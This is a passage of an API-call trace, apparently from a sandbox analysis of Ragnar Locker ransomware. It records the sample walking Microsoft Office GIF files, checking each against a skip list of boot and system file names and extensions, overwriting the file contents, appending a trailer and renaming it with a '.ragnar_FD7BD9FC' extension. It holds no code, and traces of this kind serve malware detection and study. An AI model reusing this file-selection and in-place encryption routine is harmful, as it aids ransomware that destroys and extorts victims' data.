nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.946] GetProcessHeap () returned 0x580000 [0097.946] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.946] CloseHandle (hObject=0x10c) returned 1 [0097.946] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF" [0097.946] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF.ragnar_FD7BD9FC" [0097.946] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10336_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10336_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.947] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10337_.GIF", cAlternateFileName="")) returned 1 [0097.947] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.947] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10337_.GIF" | out: lpString1="BD10337_.GIF") returned="BD10337_.GIF" [0097.947] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF") returned=".GIF" [0097.947] lstrcmpiW (lpString1="BD10337_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.947] lstrcmpiW (lpString1="BD10337_.GIF", lpString2="autorun.inf") returned 1 [0097.947] lstrcmpiW (lpString1="BD10337_.GIF", lpString2="boot.ini") returned -1 [0097.947] lstrcmpiW (lpString1="BD10337_.GIF", lpString2="bootfont.bin") returned -1 [0097.947] lstrcmpiW (lpString1="BD10337_.GIF", lpString2="bootsect.bak") returned -1 [0097.947] lstrcmpiW (lpString1="BD10337_.GIF", lpString2="bootmgr") returned -1 [0097.947] lstrcmpiW (lpString1="BD10337_.GIF", lpString2="bootmgr.efi") returned -1 [0097.947] lstrcmpiW (lpString1="BD10337_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.947] lstrcmpiW (lpString1="BD10337_.GIF", lpString2="desktop.ini") returned -1 [0097.947] lstrcmpiW (lpString1="BD10337_.GIF", lpString2="iconcache.db") returned -1 [0097.947] lstrcmpiW (lpString1="BD10337_.GIF", lpString2="ntldr") returned -1 [0097.947] lstrcmpiW (lpString1="BD10337_.GIF", lpString2="ntuser.dat") returned -1 [0097.947] lstrcmpiW (lpString1="BD10337_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.947] lstrcmpiW (lpString1="BD10337_.GIF", lpString2="ntuser.ini") returned -1 [0097.947] lstrcmpiW (lpString1="BD10337_.GIF", lpString2="thumbs.db") returned -1 [0097.947] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.947] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.947] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.947] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.947] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.947] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.947] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10337_.gif")) returned 0x20 [0097.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10337_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.948] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=240) returned 1 [0097.948] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.949] GetProcessHeap () returned 0x580000 [0097.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.949] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.949] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.950] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.950] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.950] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf0, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xf0, lpOverlapped=0x0) returned 1 [0097.950] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.950] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf0, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.950] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xf0, lpOverlapped=0x0) returned 1 [0097.950] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.950] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.950] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.950] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.950] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.950] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.951] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.951] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.951] GetProcessHeap () returned 0x580000 [0097.951] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.951] CloseHandle (hObject=0x10c) returned 1 [0097.951] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF" [0097.951] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF.ragnar_FD7BD9FC" [0097.951] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10337_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10337_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.951] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ebfa00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ebfa00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14513_.GIF", cAlternateFileName="")) returned 1 [0097.952] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.952] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14513_.GIF" | out: lpString1="BD14513_.GIF") returned="BD14513_.GIF" [0097.952] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF") returned=".GIF" [0097.952] lstrcmpiW (lpString1="BD14513_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.952] lstrcmpiW (lpString1="BD14513_.GIF", lpString2="autorun.inf") returned 1 [0097.952] lstrcmpiW (lpString1="BD14513_.GIF", lpString2="boot.ini") returned -1 [0097.952] lstrcmpiW (lpString1="BD14513_.GIF", lpString2="bootfont.bin") returned -1 [0097.952] lstrcmpiW (lpString1="BD14513_.GIF", lpString2="bootsect.bak") returned -1 [0097.952] lstrcmpiW (lpString1="BD14513_.GIF", lpString2="bootmgr") returned -1 [0097.952] lstrcmpiW (lpString1="BD14513_.GIF", lpString2="bootmgr.efi") returned -1 [0097.952] lstrcmpiW (lpString1="BD14513_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.952] lstrcmpiW (lpString1="BD14513_.GIF", lpString2="desktop.ini") returned -1 [0097.952] lstrcmpiW (lpString1="BD14513_.GIF", lpString2="iconcache.db") returned -1 [0097.952] lstrcmpiW (lpString1="BD14513_.GIF", lpString2="ntldr") returned -1 [0097.952] lstrcmpiW (lpString1="BD14513_.GIF", lpString2="ntuser.dat") returned -1 [0097.952] lstrcmpiW (lpString1="BD14513_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.952] lstrcmpiW (lpString1="BD14513_.GIF", lpString2="ntuser.ini") returned -1 [0097.952] lstrcmpiW (lpString1="BD14513_.GIF", lpString2="thumbs.db") returned -1 [0097.952] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.952] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.952] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.952] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.952] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.952] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.952] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14513_.gif")) returned 0x20 [0097.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14513_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.956] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=206) returned 1 [0097.956] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xc5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.956] GetProcessHeap () returned 0x580000 [0097.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.956] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.957] VirtualAlloc (lpAddress=0x0, dwSize=0xce, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.957] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.957] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.957] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xce, lpOverlapped=0x0) returned 1 [0097.957] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.957] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xce, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.957] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xce, lpOverlapped=0x0) returned 1 [0097.957] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.957] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.958] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.958] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.958] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.958] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.958] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.958] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.958] GetProcessHeap () returned 0x580000 [0097.958] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.958] CloseHandle (hObject=0x10c) returned 1 [0097.958] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF" [0097.958] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF.ragnar_FD7BD9FC" [0097.958] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14513_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14513_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.959] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14514_.GIF", cAlternateFileName="")) returned 1 [0097.959] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.959] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14514_.GIF" | out: lpString1="BD14514_.GIF") returned="BD14514_.GIF" [0097.959] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF") returned=".GIF" [0097.959] lstrcmpiW (lpString1="BD14514_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.959] lstrcmpiW (lpString1="BD14514_.GIF", lpString2="autorun.inf") returned 1 [0097.959] lstrcmpiW (lpString1="BD14514_.GIF", lpString2="boot.ini") returned -1 [0097.959] lstrcmpiW (lpString1="BD14514_.GIF", lpString2="bootfont.bin") returned -1 [0097.959] lstrcmpiW (lpString1="BD14514_.GIF", lpString2="bootsect.bak") returned -1 [0097.959] lstrcmpiW (lpString1="BD14514_.GIF", lpString2="bootmgr") returned -1 [0097.959] lstrcmpiW (lpString1="BD14514_.GIF", lpString2="bootmgr.efi") returned -1 [0097.960] lstrcmpiW (lpString1="BD14514_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.960] lstrcmpiW (lpString1="BD14514_.GIF", lpString2="desktop.ini") returned -1 [0097.960] lstrcmpiW (lpString1="BD14514_.GIF", lpString2="iconcache.db") returned -1 [0097.960] lstrcmpiW (lpString1="BD14514_.GIF", lpString2="ntldr") returned -1 [0097.960] lstrcmpiW (lpString1="BD14514_.GIF", lpString2="ntuser.dat") returned -1 [0097.960] lstrcmpiW (lpString1="BD14514_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.960] lstrcmpiW (lpString1="BD14514_.GIF", lpString2="ntuser.ini") returned -1 [0097.960] lstrcmpiW (lpString1="BD14514_.GIF", lpString2="thumbs.db") returned -1 [0097.960] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.960] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.960] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.960] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.960] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.960] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.960] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14514_.gif")) returned 0x20 [0097.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14514_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.961] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=179) returned 1 [0097.961] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xaa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.961] GetProcessHeap () returned 0x580000 [0097.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.961] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.962] VirtualAlloc (lpAddress=0x0, dwSize=0xb3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.962] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.962] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.962] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb3, lpOverlapped=0x0) returned 1 [0097.962] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.962] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb3, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.962] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb3, lpOverlapped=0x0) returned 1 [0097.962] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.962] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.962] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.962] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.962] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.963] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.963] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.963] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.963] GetProcessHeap () returned 0x580000 [0097.963] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.963] CloseHandle (hObject=0x10c) returned 1 [0097.963] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF" | out: lpString1="\\\\?\\C:\\Program 